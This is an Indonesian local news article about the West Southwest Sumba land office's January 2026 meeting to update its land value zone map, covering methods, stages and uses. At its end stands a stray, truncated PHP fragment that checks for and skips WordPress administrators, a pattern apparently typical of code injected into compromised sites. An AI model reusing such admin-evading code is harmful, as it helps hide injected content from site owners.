Birokrasi

Kantor Pertanahan Kabupaten Sumba Barat Daya Gelar Rapat Persiapan Pembaruan Peta Zona Nilai Tanah 2026

×

Kantor Pertanahan Kabupaten Sumba Barat Daya Gelar Rapat Persiapan Pembaruan Peta Zona Nilai Tanah 2026

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kantor Pertanahan Kabupaten Sumba Barat Daya menggelar Rapat Persiapan Pembaruan Peta Zona Nilai Tanah.

Rapat yang berlangsung Kamis (29/01/2026) ini dipimpin Kepala Kantor Pertanahan Kabupaten Sumba Barat Daya, Yusak H. T. Benu, S.ST didampingi Kepala Seksi Pengadaan Tanah.

Kegiatan ini dihadiri para camat se-kabupaten SBD, notaris, dan PPAT Kantor Pertanahan Kabupaten Sumba Barat Daya.

Pada kesempatan itu dipaparkan materi presentasi bertajuk Pembaruan Zona Nilai Tanah (ZNT) 2026.

Dalam pemaparan terkait pendahuluan dan latar belakang disebutkan, nilai tanah merupakan indikator ekonomi yang sangat dinamis, dimana nilainya dapat berfluktuasi (naik atau turun) tergantung pada perubahan kondisi sosial ekonomi serta perkembangan lingkungan di sekitarnya.

“Oleh karena itu, diperlukan kegiatan pembaruan Peta Zona Nilai Tanah (ZNT) setiap tahun guna memastikan ketersediaan informasi nilai tanah yang terkini dan akurat,” papar Yusak Benu.

Ia menyebut, tugas penyediaan informasi ini dilaksanakan oleh Kementerian Agraria dan Tata Ruang/BPN melalui Direktorat Penilaian Tanah dan Ekonomi Pertanahan, yang di tingkat daerah diwakili oleh Kantor Pertanahan setempat.

Masyarakat dapat mengakses informasi ini secara publik melalui portal bhumi.atrbpn.go.id.

Ketentuan dan Metodologi Pembaruan

Kegiatan pembaruan ini, katanya lebih lanjut, tidak dilakukan secara sembarang, melainkan mengikuti beberapa ketentuan teknis antara lain :

Skala Peta : Skala pembaruan harus konsisten dengan skala pembuatan peta awal, kecuali terdapat kerja sama khusus (PKS) dengan pemerintah daerah untuk pendetailan.

Penentuan Sampel : Penentuan jumlah sampel mempertimbangkan jumlah zona asli, perubahan penggunaan lahan, dan prioritas perkembangan wilayah.

“Idealnya, satu zona memiliki satu sampel untuk pembaruan,” imbuhnya lagi.

Metode Analisis : Pembaruan menggunakan metode Indeks Nilai Tanah untuk zona yang sudah ada, sementara untuk zona-zona baru menggunakan metode Simpangan Baku Relatif.

Teknologi : Pengambilan data sampel di lapangan menggunakan aplikasi Sentuh Tanahku yang sudah terintegrasi dengan Sistem Informasi Penilaian Tanah (SIPENTA).

Lebih lanjut ia menjelaskan, pelaksanaan proses pembaruan ZNT mengikuti tujuh tahapan utama yakni :

1. Persiapan : Penentuan wilayah, dokumen administrasi, alat kerja, dan koordinasi stakeholder.

2. Analisis & Delineasi : Identifikasi perubahan penggunaan tanah dan batas zona.

3. Survei Batas : Melakukan survei langsung pada batas zona yang mengalami perubahan.

4. Pengumpulan Data : Mengumpulkan data transaksi atau penawaran nilai tanah.

5. Pengolahan Data : Menganalisis data sampel menggunakan metode indeks.6. Penyajian Peta : Membuat peta sebaran titik sampel, peta simpangan baku, dan peta ZNT.

7. Pelaporan : Penyusunan laporan hasil kegiatan.

Pemanfaatan dan Manfaat ZNT

Mengakhiri pemaparan materi ia menandaskan terkait pemanfaatan dan manfaat ZNT, dimana peta ZNT memiliki fungsi strategis bagi berbagai pihak, baik internal BPN maupun pemerintah daerah antara lain :

Optimalisasi Pajak : Menjadi referensi bagi Pemda dalam menentukan BPHTB dan mengoptimalkan pendapatan daerah melalui kerja sama yang juga didukung oleh program supervisi KPK untuk pencegahan korupsi.

Tarif Layanan PNBP : Digunakan sebagai dasar perhitungan tarif perpanjangan/pembaruan hak atas tanah serta pendaftaran peralihan hak (jual beli) sesuai PP No. 128 Tahun 2015.

Penggunaan ZNT sebagai nilai pasar membuat penerimaan PNBP menjadi lebih optimal dibandingkan hanya menggunakan NJOP.

Pengadaan Tanah & Investasi : Menjadi referensi dalam pemberian ganti kerugian pengadaan tanah bagi kepentingan umum serta memberikan transparansi nilai tanah untuk iklim investasi yang sehat.

Penataan Ruang & Konsolidasi : Digunakan sebagai acuan dalam revisi RTRW/RDTR serta kegiatan konsolidasi tanah vertikal (rumah susun).

“Dengan adanya pembaruan rutin ini, diharapkan tercipta transparansi nilai tanah yang bermanfaat bagi masyarakat, mitra BPN, dan pembangunan daerah secara keseluruhan,” tutupnya. ( Humas Kantah Kab. SBD )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>